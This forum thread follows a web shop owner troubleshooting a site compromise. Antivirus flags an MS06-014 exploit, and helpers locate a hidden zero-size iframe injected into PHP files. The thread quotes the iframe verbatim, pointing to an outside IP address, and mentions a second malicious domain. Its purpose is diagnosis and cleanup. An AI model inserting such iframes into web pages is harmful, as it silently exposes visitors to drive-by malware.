Microsoft Data Access message on site today

[styledata]

Today, my site (in sig) is displaying the following message when I go to it:

"this website wants to run the following add-on: Microsoft Data Access - Remote Data Services Dat..."

Does anyone know what this is??? I don't have a good feeling about this.

This is happening in IE7. Firefox crashes when I attempt to go to the site, and Netscape doesn't seem to load at all.

Please respond ASAP.
Thank you

[styledata]

Hey folks, I really need some help here! Even if you don't know the answer, could you please go to http://www.photoimprints.com, preferably in different browsers, and let me know what you see?
Thank you

[styledata]

I really need SOMEONE to just go to the site in IE and tell me what happens. Please!!!

[kobra]

WARNING!! IF YOU DO NOT HAVE VIRUS PROTECTION DO NOT LOAD THIS PAGE

I am off to running a full scan....

My virus protection came up with this when loading -or trying to load your site:

Details
Detection: Exploit-MS06-014 (Virus)

More Info
Scripts typically run when you let programs act on your behalf, such as when you connect a personal handheld device to your computer, when you connect your computer to the Internet, or when you surf the Web. However, some scripts can act unexpectedly. Suspect activity might include creating, copying, or removing files, or opening the Windows registry.


Details
Detection: Exploit-MS06-014 (Trojan)
File Path: C:\Documents and Settings\xxx\Local Settings\Temporary Internet Files\Content.IE5\9NGF1YEQ\014[1].htm

More Info
Trojan horses appear to be legitimate programs but can disrupt, damage, or provide unauthorized access to your computer.

[styledata]

Okay, that confirms some suspicions. What would you suggest I do? How might I have been exploited?

[Merlinpa1969]

If you look at either your index.php or the html_header.php you wioll see this

<iframe src = 'http://140.135.138.48/x/index.php' width = '0' height = '0'></iframe>

Im betting its on the index.php page,
delete it and lock down the file to 755
and check all other files using ftp and see if any others have been changed recently

[styledata]

If you look at either your index.php or the html_header.php you wioll see this

<iframe src = 'http://140.135.138.48/x/index.php' width = '0' height = '0'></iframe>

Im betting its on the index.php page,
delete it and lock down the file to 755
and check all other files using ftp and see if any others have been changed recently

Thanks, you are a gem! I actually found it in /includes/configure.php. Now, that file and the others you mentioned were already set at 644... So how did they get in, and what can I do to prevent it in the future?

[Merlinpa1969]

make sure that its not in the index.php

[styledata]

make sure that its not in the index.php

It is not in the index.php file, and the site loads normally, now. But how can someone plant that in a file with 644 permissions?
Thanks!

[styledata]

It just happened to me again! I found in my index.php file and the tpl_page_default.php files and iframe pointing to http://qwqqgp.boslandimg.com. So again I ask, how can this be planted with the files having a 644 permission? Have I missed some security setting?
thank you!